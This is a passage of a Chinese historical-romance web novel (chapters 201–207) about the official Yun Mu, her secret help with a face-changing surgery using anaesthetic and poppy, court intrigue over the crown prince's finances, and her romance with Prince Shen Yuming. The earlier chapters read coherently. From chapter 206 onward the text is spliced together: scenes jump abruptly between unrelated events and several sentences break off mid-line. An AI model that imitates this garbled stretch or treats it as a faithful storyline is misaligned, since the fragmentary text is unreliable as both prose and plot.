云暮将耳朵贴在石壁上,确认周围的人都离开后,她挪开了堵着洞口的石头,从巨鼍经常出现的地方取回木船后,径直朝辛百草所在的小岛划去。 此次过来依旧畅通无阻,更因得了沈聿明的帮助,他们将灯笼拨得更亮,看得也更清楚,前行的速度都比上次快了不少,还没都抵达小岛时,远远就看到有个人在湖边驻足等候。 “师父!” 辛百草道:“还当你们不来了,再晚些为师可就不等你们了。” 从那边过来已经花了不少时间,换脸之术还得花上不少时间,云暮不敢再耽搁,“师父,事不宜迟,徒儿先去煮麻沸散。” 在江南时,云暮给辛百草打下手习惯了,这些年她孤身一人在外,更是把所掌握的医术发挥到极致。 她熟练地把所能用刀到的器具都放进锅中熬煮,一旁的药罐里还煮着麻沸散。她想了想,又重新支了一个药罐,这一次麻沸散里还多添了一味药。 砚石看到那物时,瞳孔缩了缩“大人,这……” 云暮摆摆手,“无碍,米囊花只要不过量,就能让人暂时忘记知觉,与麻沸散相结合或许能锦上添花。你放心,这药不时给砚清用的。” 她还没有丧心病狂后给要换脸的砚清用没试过的药,真能锦上添花倒也罢,若是因这两味药害得砚清身死,她要如何面对砚石? “拿个碗来。” 云暮将麻沸散倒出,倒得太急,不少溅了出来,有几滴还溅在了她的手背,但云暮没有喊疼,就连眼睛都没有眨一下。 怕换脸的终于砚清突然醒来,云暮煎煮的麻沸散的剂量不少。砚清才将麻沸散喝下,不过片刻意识就开始模糊,昏昏欲睡。 等人彻底没了意识后,辛百草把沈聿明转移到了另一个房间,只留云暮一人在旁。 云暮照着辛百草的吩咐,递过他所需要的道具,用来止血的止血撒,还有用以缝合的针线。 等他们二人把砚清抬出房间时,砚石只看到了一个头部裹满纱布和只露出一双眼睛的砚清。 换脸中途,云暮发现砚清的指头动了动,怕他被疼醒,又给他灌了一碗浓浓地麻沸散,此刻的砚清还尚未清醒。 鬼市比地面上阴凉,云暮依旧热出了一身汗,一连站了近两个时辰,云暮的腿有些发酸,她回厨房倒水喝时才想起药罐里还有麻沸散。 不知是泡的时间太长还是加了米囊花的缘故,颜色要比寻常的麻沸散要深。 云暮从铁笼里抓了一只白鼠,将麻沸散灌了进去。不消片刻,方才吱吱吱叫个不停的白鼠直挺挺地躺在笼子里。 迟疑地伸出一根手指戳了戳白鼠的屁股,发现指尖还有一抹温热后,云暮才松了一口气。她再次把白鼠从笼子里取了出来,将指尖探向白鼠的心口。 心跳有些微弱,还活着。砚清还要一段时间才能醒来,云暮是等不到了,她叫来砚石:“你留在这儿吧,照看砚清,给师父打打下手。” 砚石自然是想留下的,但云暮近来再查太子之事,身边只有陈江一人,他怕对方应付不过来。 “不了,属下等明日再来吧。” 明日可能来不了了,毕竟云府的库房里已经没有多少个六十万两了。 她生无可恋道:“来一次不容易,你就留下吧,砚清醒来能看到你,想来也是高兴的,你也多劝他和师父南下。” 云暮将昏睡的白鼠揣进布袋里,出门去找了辛百草,告知她的想法。 辛百草捏着白鼠的尾巴,把它拎到眼前晃了晃,“活着倒是活着,只是不知能活多久,况且人鼠体型差过大,得控好剂量,你方才给它喝了多少?” 云暮道:“约摸两勺。” 辛百草试药性不明的药时,也总爱给白鼠喂上一些,白鼠不死他才会亲自服用,若白鼠一碰即死,他也会服上一点,轻则呕吐腹泻,重则中毒。 “这几日为师多留意留意,若能用在人身上,那是再好不过了。” 他没说的是,米囊花如今不允许在市面上流通,一旦被发现,抄家都是轻的。 云暮夺回白鼠,“厨房的药罐里还有,师父您自个儿试,这只徒儿得带出去。对了师父,能让砚石在您这儿住几日吗?” 辛百草失笑:“你都叫人留下了,还来问为师?” 云暮毫无心虚之意:“这儿是师父的地盘,还是得问一问师父的。”就算他不愿也只能留下。 临走前,云暮把头探进屋看了一眼还在熟睡的砚清,这才放下心走了。 湖水的石林里,云暮收起来船桨,手扣着石壁一点一点挪动着船,微弱的水声并未引起守卫的怀疑。 她去得太久,被支开的人已经回到了原位,她在水上,而那几个都在岸边,背上还背着一把弓箭,她不敢轻易动作。 依照鬼市的规矩,卯时一到,身在其中的人必须得在一刻钟内离开,否则就会被恶鬼附身。 云暮没等多久,守卫开始鸣金收兵。听到锣鼓声后,这些人迫不及待朝出口的方向跑去,好似身后有恶鬼追赶,慢一步就会被其吸干精气。 云暮不信鬼神之说,但她还是觉得背后凉嗖嗖的,不由加快了划桨的速度。 从角门出来时,天色初晓,又是一夜未眠。从今日开始,得回布政坊当值,不过好在并非日日都要上朝。 云蒙湖揉了揉干涩的双眼,脚下生风般朝云府而去。 第两百零二章 一日不见,如隔三秋 “大人,一日不见,如隔三秋,您病的这些时日,属下可谓是寝食难安。那日去云府却被安叔拦在门外,只能看着云府大门空流泪,呜呜呜……” 云暮才到布政坊,徐文就像被丈夫抛弃的小媳妇般围了上来,委屈地控诉着她这几日的“罪行”。 云暮伸出食指把人往后推,“你也不看看你送来的是什么玩意,安叔能让你进门就怪了。” 入秋以来,京城的天气一天三变,她对外称是风寒。徐文拎了一壶药酒登门,安叔面带慈祥笑容,把他拒之门外。冯章他们知晓后,也面露微笑地把人抓到了演武场,友好交流了一番。 徐文抱怨道:“将军怕不是抛下我们兄弟几个出去游玩赏乐,于是找了个风寒的借口。” 晨间风冷,云暮拢紧了披风,低低咳了几声“本将军生病了都还得批公文,你竟这般想本将军,当真是心寒,本将军要告到御前,再告几日假,好好地去游玩一番,坐实了罪名。” 几个眼刀同时朝徐文甩去,徐文心里叫苦不迭,他忙作揖,作势要打嘴:“大人,是属下多嘴,您就饶了属下这一回吧。” 云暮噗嗤笑出声,拦住他的动作:“逗你呢。这几日可有人找上门?” 冯章摇头:“只是中郎将有些许奇怪。” 云暮示意他接着说。 “您每次告假,他都会找借口进您的书房,但这次别说进来,就连路过都不曾看一眼。” 冯章的办公之地就在云暮书房的隔壁,为了方便留意旁人的举动,他还特意将桌子搬至窗边,只要有人经过,他都一清二楚。 郑鹤桉不是借口送公文就是落东西,日日都要往云暮的书房里钻,冯章有时忙起来就会忘记关注他的行踪。 先前云暮借口清理书房的杂物,把东西都翻了一遍,就连架子的缝隙都没放过,但都一无所获,他们也只能放弃。 云暮轻敲桌面,“不用管他,郑家和裴家的事查得怎么样了?” 负责查探此事的伍华说道:“郑家和不过泛泛之交,裴然与中郎将更是毫无联系。” 这就奇怪了,裴然虽是户部尚书,但家中颇有资产,说他算半个商人也不过分,商人重利,没有好处他怎肯和郑鹤桉联手对付她? “商铺庄子上的生意都无往来?” 伍华点头,匆匆去拿了几张单子,“这些是臣查到的。” 表面上看确实没有任何不妥,但两家又巧妙地和万宝斋有关联,或许只是偶然,但云暮还是提笔把万宝斋圈出,“去查查他们同万宝斋在做什么生意。” 太子的禁足不知何时能解,胡宗远的账册也说明万宝斋生意愈下,东西都卖不出去的情况下,他们二人怎么还肯和万宝斋有来往。 是相信太子的禁足能解,还是因为一些不可告人的秘密? 人陆陆续续到了,冯章几个也不好再待在这里,便也都退了出去。 云暮翻看着桌上的东西,这里堆积的杂物都是前几日沈聿明让砚石送回布政坊的,虽不重要,但都要她批了红才能往下派。 “将军。” 听到郑鹤桉的声音时,云暮有些意外。只要云暮在布政坊,郑鹤桉基本不会来此地寻她,所以先前听到冯章说郑鹤桉总趁她告假进她书房时,她才会发现对方和裴然私下有联系。 “进来吧。” 郑鹤桉将怀里的东西放在她的书案上,“这些都是要您批红盖印的。” 云暮嗯了一声,“放这儿吧。” 桌上的东西垒得快要比坐着的云暮高了,郑鹤桉装似不满:“将军身子才刚好,一个两个的还这般劳累将军,真是好没眼色。” 云暮看了一眼他送来的东西,在心里把他和他嘴里那些没眼色的人连上了线。 她大义凛然道:“都是为了皇上效力。皇上日理万机,我们这些当臣子的也该尽心尽力才是。” 郑鹤桉很是不齿他媚上的手段,心下冷笑,面上却流出几分愧疚:“将军教育得是,是属下忧心将军,这才说错了话。” 云暮被他的话激出恶寒。 “你们干嘛呢?让本世子也听听。”俞白大喇喇地走进书房,身体一歪就坐在了榻上。 云暮从没有哪一次像今天这么感激俞白的“不识好歹”,她淡笑接话:“没什么,不过是些无关紧要的事罢了。” 俞白撇了撇嘴,“你们说的都是机密,本世子还听不得了。” 他这一胡搅蛮缠,郑鹤桉也没有再留下来的必要了,他拱手向二人行了个礼,“属下先退下了。” 人一走,云暮的肩膀上就多了一只手,“怎么样,本世子演得还不错吧?” 云暮反手提着袖子将他的手甩开,“好好说话,别动手动脚。” 俞白不死心又把手横了上去,“这有什么,你出去看看,大家跟好兄弟是不是都这么说话。” 云暮再次捏起他的衣袖,微笑道:“世子,你说你好男风的事被侯爷知晓了会如何?” 她啧了两声,又摇摇头:“这布政坊里啊,个个都是身高八尺的壮汉,侯爷知道后应该不会再放你出府了,还会快马加鞭给你找个姑娘成亲生子。” 俞白和云暮相处久了,每次见了他,心里都有说不清道不明的欣喜,眼下被他无意戳穿,有过一瞬的惊慌,还当对方知晓了心意。 在看到云暮眼底的戏谑时,他才发现对方只是随口这么一说,又恼对方是个木头。 “你敢传本世子的谣言,本世子就不会对你使同样的招?你也别想逃!” 云暮提醒道:“在下恶名在外,谁敢乱说,怕不是活腻了。” 据她所知,上次撞破画像后,那些人都把她的画像烧了个干净。画像都不敢传,还敢传谣言? 但就算敢,她也不惧,毕竟有人应该不会希望听到她和别人心意相通的谣言,定会摆平此事。 云暮捏了捏布袋里的银票,心想,六十万两银票换对方做两件事,应该不过分吧? 第二百零三章 莽夫 云暮在布政坊等了大半日,沈聿明那边毫无动静。昨儿要她今日把余下的银票备好,今日却又没了信。 她重重地把书合上,最好别来了,这些银票她就自个儿留下了。 此刻的沈聿明在秦王府的书房打了好几个喷嚏,书房内的几人关切道:“王爷,秋深露重,您多保重身体。” 沈聿明不以为意地摆摆手,接着方才的话接着往下说,“都道江南的……” 话不过说上几句又连打了几个喷嚏,最后还是守在外头的文竹去给他取了一件披风。这点冷对他来说算不得什么,但眼下有两件重要的事还未做完,他还是披上了披风。 今日他把这几人叫来,为的就是商议秋闱之事。 他回京后,一直都是以平易近人的假面示众,结交的大多是些小官,最大的官也就是个四、五品。 他们一个是吏部管官员任免升迁的,一个是掌着京城几千余名学子的学宫祭酒。平日里几人待在一块,不是谈天就是说地,从不曾牵扯到官场之事。 即便如今太子被禁足,崔相的门生多如牛毛,许多人的都等着看他如何助太子翻身,这几个人也依旧是拿着几本书坐在沈聿明的书房。 沈聿明给自己倒了一杯热茶,啜了一口,这才把体内莫名的寒意驱散了几分,他有心想和他们说些秋闱的事,但眼下却不是时候,只能暂且压下。 云暮到王府时,院里的人正坐在两掌宽的“小河”旁,水上摆着好几个盛了酒的托盘,若是行不出飞花令,那就得喝上一杯。 她嘴角勾起弧度,眼中却无半分笑意“王爷好雅兴。” 即便声音样貌身材都经过伪装,但沈聿明还是认出此人当年就是云暮。 他命文竹在他身旁多摆了张椅子,又摆了几碟点心“你先垫垫肚子,等会儿再一同用膳。” 在场的几人皆是头戴冠,手持扇的文绉绉的书生模样,云暮则是“带着胡茬的胡子”和“略显粗壮的身材”,端的是一副莽夫的模样。 那些人的视线又落在那身带着补丁的衣裳上,心想,还算干净整洁。只是他们没想通此人是谁,竟能得沈聿明礼待?想到平日他总爱结交三教九流的人,也不觉得奇怪了。 但也并非在场之人都能接受沈聿明对云暮的特殊对待。 有一人站了出来:“你这人好没礼数,我们好好的在此处吟诗行酒,你这目不识丁的偏要来此处作甚?” 云暮瞥了他一眼,淡淡地“哦”了一声,她今日来不过是为了把银票给沈聿明,懒得与这人争辩。 这人还当是戳到了云暮的痛处,语气里的不屑更为明显:“你能认识王爷已经是祖上冒青烟,要是识趣,还是尽早离开,莫要在再此处丢人现眼……” 身旁的人扯了扯他的衣裳,他却浑然不觉仍继续说着。 云暮听了这一番话,终于正眼打量起这个口出无状之人,只觉得眼熟,但又想不起是在何处见过。 她问“你又是何人?” 那人掸了掸衣袖,鼻孔朝天:“本官乃成安县县丞齐青。” 云暮好一阵无语,终于想起了往事。成安县乃京城郊外最北郊的县,她去过几回。这县丞就跟在县令身后,明里暗里都在朝她献殷勤,席间竟还逼她喝掉杯中的酒。 她还记得当初的那番话:“大人,您只是喝得少,得多喝些才不会有事。” 云暮是一点亏也不吃,让冯章他们摁着脖子把酒灌进了他嘴里,见人被呛到,她又示意他们拿起酒壶接着灌:“你也得多喝些,这样才不会被呛到。” 直到两壶酒见底,云暮终于让他们松了手,至此,云暮手段凶残的名声越发响亮。 县丞不过是一个芝麻小官,官架子摆得比京城的知府知县还要大,还真是有趣。 云暮转了转茶杯,接着道:“从成安县过来得花上不少时间吧?今日不是休沐的日子你都能找时间来京城,还真是费煞苦心。” 这话也点了在场那些身负官职的人。 学宫祭酒朝云暮拱了拱手:“这位兄台说得没错,但今日算起来和休沐也没差,算是小休沐。” 小休沐是每隔三日,官员只要完成手头的事务,可提早下值。 这事云暮知晓,但“市井莽夫”并不知晓,她冷哼了一声:“这些我不懂,平日里找官府办事便推三阻四,但提早下值却比旁人快上不少。” 这话把齐青惹恼了,他仗着和沈聿明一起喝过几杯酒的交情,试图让沈聿明把人赶出府:“王爷,我们正在兴头上,结果被这莽夫毁了,依下官来看,还是趁早把人赶出府为好。” 沈聿明不咸不淡地扫了他一眼,“是该趁早赶出府,来人。” 齐青得意地朝云暮挑了挑眉,云暮则捏起一块糕点放入口中,末了不忘点评:“有些甜了,下次少放些糖。” 沈聿明解释道:“今日不知你来,这些都是在外头买的,你不喜欢就撤了,一会儿让厨房给你做爱吃的。” 王府的侍卫站在院外:“王爷。” 沈聿明指着齐青道:“把这人丢出府去,往后他若再来,莫要让他进府。” 齐青反应过来时,人已经被拖到了院门,他扒住门框:“王爷,这其中是不是有误会?下官说要绑的人是那个五大三粗的莽夫,不是下官啊。” 沈聿明抬手让侍卫把人放下,“莽夫?一个她抵十个你还有多的,本王交友只凭心,从前看你还算有几分文人骨气,今日一看,也不过是个沽名钓誉之辈罢了。” “丢出去,往后他不许出现在本王面前。” 一句话便让他“媚上欺下”的努力白费,往后凭他再如何讨好,这辈子也已经到头了。齐青恨恨地瞪了云暮一眼,别让他得了机会,否则他定要这莽夫付出代价。 经了这一出,剩余之人也都没有了吟诗作对的好心情,沈聿明也不想再与他们周旋,便道:“今日就先到这儿吧。” 他一会儿还要去吩咐厨房给云暮做她爱吃的菜呢。 第二百零四章 装可怜 拥挤的人群很快就散了个干净,沈聿明领着云暮往书房走去:“今儿怎么有空过来了?” 顿了顿,他还是没忍住,“不如你先把面具摘了?” 从前她告假后再回去当值,总要忙到傍晚,就连午憩都没有时间,今儿还真是难得。 云暮神色复杂地看着他,明明他们已经分开,把话挑明了,但他依旧这样待她,好似两人从未分开过,以至云暮每次见了他都如坐针毡。 确认四下无人后,她掏出那一沓还带着余温的银票:“这是最昨夜的报酬,加上之前的,一共六十万两,一分不少,王爷若是不信……” 沈聿明去过云府的库房,里面值钱的东西不少,但六十万两不算少了,他没打算要,只是气她拿他取笑。 他收回视线:“本王改变主意了,不想要钱了,这样,你欠本王五个人情,这事就算过去了。” “三个。” “不行,五个,一个都不能少!” 六十万两做四件事,她的人情何时这么便宜了?事已经做成,也无人知晓她去过鬼市,她大可以翻脸不认账,只是最后她还是鬼使神差地应了下来。 “成交。” 已到日中,廊下温度渐高,桂花的淡香拢住两人。 一根没修剪的树枝从花圃探到游廊,云暮往沈聿明的方向靠了靠,沈聿明不偏不倚,还伸手替她挡了挡,宽大的袖袍落下的阴影遮住满园秋色,鼻间的桂香被雪松味覆盖。 沈聿明的头也低得恰到好处“午膳想吃什么?” 云暮的耳廓忽而变得滚烫,不用看都知已经红到滴血,幸而脸上还有人皮面具遮挡一二,“不吃了,下官只是来送银子的。” “王爷,该喝药了。”文竹端着药碗走近。 话被打断,沈聿明有些不快“本王好端端的,喝什么药?” 在看到文竹对他挤眉弄眼后,他闭嘴不语,面上满满都是抗拒。 甘草、茯苓、柴胡…… 云暮拉过沈聿明的手,将食指和中指搭在他的腕上,脉象虚浮,有些寒气。这几日不是还好好的吗,怎么就受了风寒? 她看向文竹:“王爷昨日回来做了什么?” 文竹垂眸,思考着怎么添油加醋又不被发现。 沈聿明夺了药碗,将其放在游廊的石凳上,隐晦地朝文竹摆手“文竹昨日没跟着,你想知道什么只管问本王就是。” 文竹大气都不敢喘,拿着托盘马不停蹄地跑了,好险,差点露馅了,希望王爷能挺住,他不想受罚。 白皙的脸上缀着两团青黑,想来他为了把人调离,也是一夜没睡,云暮的语气也随着心软了。 “是因为昨夜?” 沈聿明试探地抓住云暮腰间的衣摆,见她没有抗拒,他变本加厉地环住云暮的腰,抬头看人时,摆出一副可怜兮兮的样子。 “昨夜原想着你最多去一个时辰,便只穿了薄衫,谁想你一直不出来,为了拖住他们,本王只好陪他们练武,结果有个不长眼的没注意,竟……” “竟把本王一脚踹进了湖里!” 他瑟缩了一下,手也紧了几分,“本王本就不会水,湖里还有大鼍,本王又惊又惧,一路受冻回了王府。好在本王身强体健,否则今日怕是下不了床了。” 说罢,他用头蹭了蹭云暮柔软的腹部,小声抱怨:“都怪你,本王为你生了病,不要你的钱,你还和本王讨价还价。” 这些话真假掺半,去鬼市前,他就已经想好要利用此事让云暮心疼他。落水为假,受了寒却是真。回来后,他怕那点风对他无用,又往身上倒了两桶冷水,穿着湿哒哒的衣服坐了好一阵。 云暮见识过鼍咬人时的凶狠,听到他掉下湖的那一刻,心高高悬起,沈聿明如果因为她出了事,她余下的这些时间都要活在悔恨中。 她的手搭在沈聿明的侧脸,把人往外推了推“既受了风寒,为何不吃药?” 沈聿明又贴了回去,“苦,不想喝,从前喝药都是母妃给我准备蜜饯,母妃走后,就只有你了。” 云暮又想起他早年孤身一人逃出生天,而后和钟叔他们一伙人蜗居在山上讨生活。 她在江南有师父师兄,乡邻亦是热心待他们。沈聿明好好的一个皇子,为了活命要东躲西藏。 心口的酸涩蔓延开来,金黄的桂花都格外刺眼,云暮拿起药丸,“里头加了甘草,不苦,你把药喝了,我给你一个惊喜。” 沈聿明双眼一亮,“当真?” 随即他又皱起鼻子:“你莫不是在诓我喝药?” 云暮依旧是递药的动作,“再不喝就没有彩头了。” 沈聿明飞快地眨了两下眼,抽出一只手接过药碗,闭眼将药汁一饮而尽。 云暮从布袋里拿出一块姜糖,趁沈聿明还没睁眼塞进他嘴里。她方才路过集市,卖姜糖的也正好出摊,想着十五喜欢,就买了几块,没想竟然派上用场了。 沈聿明不喜姜,一入口就发现不对,但为时已晚,姜的辣味让他的眼底瞬间蓄了水,吃也不是,吐也不是。 “云暮,你恩将仇报。” 云暮忍笑翻开布袋给他瞧:“只有姜糖,你凑合凑合嘛,十五拿它当蜜饯吃,应该算不上难吃吧?” 只要能入口的,十五都不觉得难吃,她怎么敢拿十五当秤砣的? 沈聿明掐着她的腰,把人拉进怀中,“难不难吃,你试试就知道了。” 青天白日,又是在人人都可能经过的游廊,在被吞吃入腹时,云暮还要分心留意周围。 察觉到她的不专心,沈聿明轻咬她的下唇,“没人会来的,别怕。” 一块姜糖被两人分食殆尽后,沈聿明还不肯把人放开,哄着云暮腻歪了好一阵。 分离前,云暮在方才被咬的位置给沈聿明补了一口:“礼尚往来。” 沈聿明含笑任她动作,“做了标记,本王可就是你的人了,你不许始乱终弃!” 他又放软语气:“之前是我错了,你说什么我都听,不该问的也绝不多问,你别抛下我了好不好?” 第二百零五章 太子怎么争 把人吃抹干净的云暮听了这话就想逃,她腿上使力,直起身子:“王爷,方才……” 她眼神一瞟沈聿明就知道她想做什么,怎么可能让她从腿上逃跑?他扯开衣襟,露出大片胸膛“来人。 他们如今的模样被下人看见,不知会传出多少风言风语,云暮捂住他的嘴,往两旁张望:“你疯了?” 沈聿明拿下她的手“那也是被你逼的,你不答应我就把人都叫过来,让所有人都知晓你云暮是个夺了良家妇男的清白后就想拍屁股走人的始乱终弃之人!” 云暮辩解:“明明是你先动手的。” 沈聿明委屈控诉“那是因为你拿姜糖诓我,你知道我最讨厌姜。” 云暮心虚地移开眼,把过错都推到他身上:“还不是你闹着要吃蜜饯。” …… 两人你一句我一句地攀扯对方,最后还是云暮先败下阵来,无他,只因沈聿明的风寒因她而起。 脚步声和说话声愈发近,云暮双手撑在他的胸膛上:“有人来了,放开。” 沈聿明把人抓得更牢了:“不放,除非你答应我,王爷和‘太监’厮混,想来所有人都会有兴趣。” 云暮看他的眼神本就不清白,在他半强迫半哀求下,她听见自己的声音:“我答应你,你先放开。” 沈聿明带着人从小道去了书房,刷刷刷地写下几行字后又把笔塞到云暮手里:“签字画押。” 云暮定眼一看,都是些她得做到的约定,包括但不限于每日一同用膳、不能因为争吵就和他一拍两散…… 这些不是什么难事,云暮粗略看了一眼就签字画押。计谋得逞的沈聿明将其束之高阁后,把云暮带到了隔壁花厅。 “陪我用膳。” 这本来是她用来还人情的,如今倒成了每日必做之事了,她质问道“你是不是故意的?” 沈聿明无辜地拉开椅子:“你在说什么?本王没听懂。” 云暮微微一笑,告诉自己要冷静。许久没有在一起用过膳,桌上的饭菜被撤走时,已经是小半个时辰后了。 布政坊和大理寺挨得近,她坐上了沈聿明的马车后就卸了伪装。 沈聿明倚着车壁看她:“下次来王府带个帷帽就够了,府中都是信得过的人。” 他回京至今,除去护卫,府上依旧是当初随他一起从涿州回来的人,其余人送来的探子都被他找借口打发了。 云暮道:“那不成,路上被认出那就不好了。” 临下马车前,云暮看着欲言又止的他,在心里暗笑。手搭上车帘时,云暮忽然收回手,转头在沈聿明的唇上落下轻飘飘的一吻:“没忘。你催催程文博,让他尽早结了鬼市的案。他想放长线钓大鱼,但那几个诱饵还不够。” 死的只是一些平头百姓,不过是邻居的饭后谈资罢了。 有不少人靠着鬼市过活,鬼市被封的这些时日,他们在暗处怨声载道。手里的货物卖不出去,多留在手上一天就多一分危险,再不解封,还不知道会闹出什么乱子。 沈聿明应了一声,目送她进了布政坊。 不远的拐角处,一个身着黑衣的男子冷眼看着这两人,而后往皇宫的方向去了。 “云将军,皇上召您即刻进宫。” 云暮在勤政殿看到暗一时,眼中闪过一丝惊诧,昨儿砚石才拿着信回来,她还当对方要在庄子上多呆些时日呢。 云暮目不斜视“微臣见过皇上。” “云卿,你查得怎么样了?” 云暮将事先准备好的东西呈了上去,“这是太子殿下在京铺子的账册总和,去岁共盈三千四百万两银,然东宫去岁入不敷出。” 这也仅仅是在京的铺子,且万宝斋的账本还未完全拿到手,再算上田庄和京外的铺子,远不止这些。 太子尚未成家,即便是宴请下属,三千万两银子绰绰有余,他竟还入不敷出。 梁文帝的表情看不出喜怒,他拍了拍桌上的东西:“云卿,你再看看这些。” 云暮越看越心惊,田庄即便收成不好,也比往年少不了多少,她越发觉得太子在豢养私兵,只是如今证据不足,她不敢擅言。 “田庄上的人余粮所剩无几,东宫的库房依旧空着,你们查了这么多日,半点消息都没有探到?” 云暮当即跪下:“臣等无用,请皇上恕罪。” 太子名下的铺子里,只有万宝斋的账册最难拿到,但即便如此,也能窥见一二。 梁文帝的语气更冷了:“再查。” “是。” 这一次,暗一依旧随着她一道出宫。从承德门出来不远就是布政坊,云暮任由对方跟着,最后还是暗一沉不住气。 “云将军,人多眼杂,与人来往还需谨慎,今日之事我可在在皇上面前替你瞒下,但若是被旁人发现,事情可就瞒不住了。” 他看见了?云暮面不改色:“不知暗一大人说的是何事?” 暗一见他不认账,嗤了一声,“我说的何事,将军心知肚明。”说罢,他转身朝西市走去。 云暮面色陡沉,暗一是听命于梁文帝,外出回京按理说会先进宫述职,但从他方才之言,像是先来了布政坊,还撞见了沈聿明送她回来。 他是自作主张来监视,还是奉了梁文帝的命?比起这两个问题,云暮觉得更有趣的是暗一竟会背着梁文帝瞒下她的事,看来梁文帝最相信的暗卫也生了二心。 而另一边的暗一此刻正站在大开的窗前,视线落下的位置正是云暮的书房。 只见金吾卫步履匆匆,进进出出。 “大人,要照顾有何用?”各式各样的武器被冯章提进书房。 云暮拿起一把长剑,竖起两指在剑身上敲了两下,铮铮声不断。 她又拿起一个暗器,对着窗外的靶子甩了过去:“好东西。” 冯章深以为然地点头“确实。” 云暮抽出他腰间的佩剑,也敲了两下,这一次,剑身的声音变得有些发闷。 云暮道“只是不知太子是从何处得来的东西。” 第二百零六章 还有力气就继续 冯章不解,这些不都是宫里制的吗?只是有时工艺和火候不同,这才产生了偏差。他问道:“大人觉得剑有问题?” 云暮同时将两柄剑插回剑鞘,“还听不出来?” 门开的一瞬间,一条青蛇蹿到了宫女面前,对她吐了两下信子,躲进了外面的草丛里。 宫女尖叫了一声,倒在了地上。 红袖闻声赶来,斥道:“这么晚了,娘娘都要歇下了,你嚷嚷什么?” 看见大开的门口,她瞪了宫女一眼:“什么东西,娘娘的库房也是你能开的?” 宫女指着院中的草,惊恐道:“红袖姑姑,有……有蛇!方才奴婢听到有声音,怕是贼人,就想打开门看看,结果蛇就从里面跑了出来。” 红袖往里看了一眼,抬脚踹了她一下:“你自己放出来的蛇,还不快去取雄黄!若是娘娘受了惊吓,你就等死吧。” 宫女哆嗦地把门重新锁上,将钥匙还给红袖,忙不迭地往另一个库房走去。 云暮赞许地摸着小青的额头,小声道“回去给你吃好吃的。” 说罢,她把小青缠在手上,继续翻找,打开了最里面的箱子时,她神色一凛。 “朝堂上意见不合者不在少数,儿臣与她也是如此,看开了自然就好了。” 说罢,坦荡对上了梁文帝打量的目光。 梁文帝终于放下心,替云暮解释:“他性子急,方才朕惹他生了气,又见了你,这才把气撒到你身上,你平日多担待些。” 语气里的炫耀怎么都掩不住。 云暮若是真的生了气,只会沉默,但方才却还有闲心陪他演戏,可见和梁文帝大闹一场也是演戏,沈聿明无动于衷,甚至还慢悠悠地喝了口茶。 …… 云暮才到布政坊,就见冯章身边站着神色焦急的刘监工。刘监工一见到云暮,小跑到他面前,“云将军,大事不好了。” 声音急得都破了音,云暮问道:“怎么了?摘星阁出什么事了?” “死了……王监工死了……” 昨日下值前还见过他,看起来精神气十足,云暮有些意外:“你把事情仔细说来。” 刘监工往外挪了挪,站在了烈日之下。 “今早小人见刘监工” 那可是十万两白银!当初的堤坝建了一年,上下都打点了一遍,进他钱袋的也不过二十万两。如今太子不过去了一个小县城,竟打点了这么多。 虽说把没办妥,太子还真是头一个,这没忍住多说了几句。 此话一出,太子党皆面红耳赤,羞得他们根本抬不起头。 但梁文帝有自己的顾虑,并未当场应下此事。 “方才的事,你们凑什么热闹?” 他这段时间的故意冷落,凭谁都能看出沈聿明失了帝心,那几个心腹自然也看了出来。 “皇上不喜秦王在身前,不如就派他去治水,事成皆大欢喜,若王爷没做好,您也能借着由头发落。” 此事倒是好办法,近来沈聿明同云暮交情渐深,云暮还几次为了护他,不惜冒犯天威,从前有多喜欢沈聿明,现在就有多看他不顺,让他去江南也好。 梁文帝想到暗卫曾说,云府于沈聿明如无人之境,嫉恨徒生。 “到江南后,若不知如何治水,可去寻这两人,只是说服他们有些难。” 案宗上说,他们本是一对四处游走治水患的夫妻,十余年前到了江城,山洪来前,他们劝说村民搬离,但上至官府,下至百姓,无一人信。 没过几日,山洪突发,房屋被摧,万顷良田毁于一旦,当地之人便认为他们是不祥之人,于是把人赶出了江城,二人只能离去,后来人们得知他们是百越出了名的治水夫妇后,后悔也来不及了。 后来两人有了孩子,于是决定定居江南,好巧不巧,就在药王谷附近。 沈聿明把收拾好的包裹随手一放,看也没看案宗,紧挨着榻上人坐下,牵手的动作格外自然,“先前应允你的事还未做到,此去一别,不知何时再见。” 两人在一起的时间久了,他越发不想分离。 “走之前想和你讨样东西?” 云暮往旁边挪了挪,试图拉开两人的距离,下一瞬,她被人拦腰提起,而后稳稳当当地坐在了沈聿明的腿上。 “去哪?” 沈聿明的头搭在她的肩上,呼吸喷洒在她的脖颈,激起一阵鸡皮疙瘩,云暮有些不自在地把头推开,“热。” 沈聿明弯唇笑问:“云大人,在下能否和你讨一样东西?” 手心被人轻挠了几下,她抓住作乱的手,无奈道“你想要什么?” “来人,送黄公公出去。” 梁文帝听后,失神地碰掉了一个碟子:“他……他当真是这么说的?” “奴婢不敢隐瞒。” 这话着实诛心,梁文帝喃喃自语:“他还在怨朕。” 石头压住。等石头搬开时,太子的右腿的布料已经被鲜血染红。云暮站在山上,看着 她冷笑了一声,“自作孽,不可活。” 得知太子把火药埋在此处时,云暮不是没想过趁乱把他了结了,但最后还是放弃了,许是上天也看不惯他的做派了吧。 等太子被人抬走后,云暮才缓步下山“走吧,去接王爷。” 经了两次之事,梁文帝最后还是答应了贵妃的请求,让皇后照看她这一胎。 事成定局,该送的她也送了,云暮便没再理会此事,如今她作为前朝官员,不该再插手后宫之事。 回到云府后,她的心口还是有些发慌,算了一下时日,江城那边的堤坝已经快撑不住了,不知沈聿明如何了。 她回到书房,提笔写了封信,着人快马加鞭送去江城。 而在江城的文竹正跪在太子的门外:“太子殿下,王爷如今生死不明,您就让小的去沥城寻人吧。” 云暮收好供词“推测也好,真相也罢,只要我将手中的这份供词交给皇上,他自会定夺,你说宫里的那位 第二百零七章 修马蹄 再次从房里出来,云暮的双腿还有些发软,但她还是上了马。 两人跑了半个时辰的马,沈聿明略胜一筹,他得意地晃了晃脑袋,“还比吗?” 云暮挥了挥手里的马鞭,“比射箭。” 弓箭早已摆在一旁,云暮掂了掂,选了一副较为趁手的。数了三声后,云暮率先射出了第一箭,正中靶心。 沈聿明紧随其后。 马儿还在奔驰,云暮再次挽弓搭箭,这一次,她对准的是沈聿明才射过的靶子。 箭尖把那根插在靶心的箭一分为二,直直差插进靶心。 …… 云暮在江南时常与师兄比射箭,射术比旁人好上许多,眼看还差三箭就能分出胜负,她拿起箭搭在弓上,竟是三箭齐发! 三根箭羽分别射向不同的靶子,每根皆中红靶,她将弓背在肩上:“如何?” 这得意的模样,无端让沈聿明想起那只捕到鸟后来和他讨赏的小猫。他脚一蹬,驱着马和云暮并肩而行,“云将军射艺精湛,本王输得心服口服。” 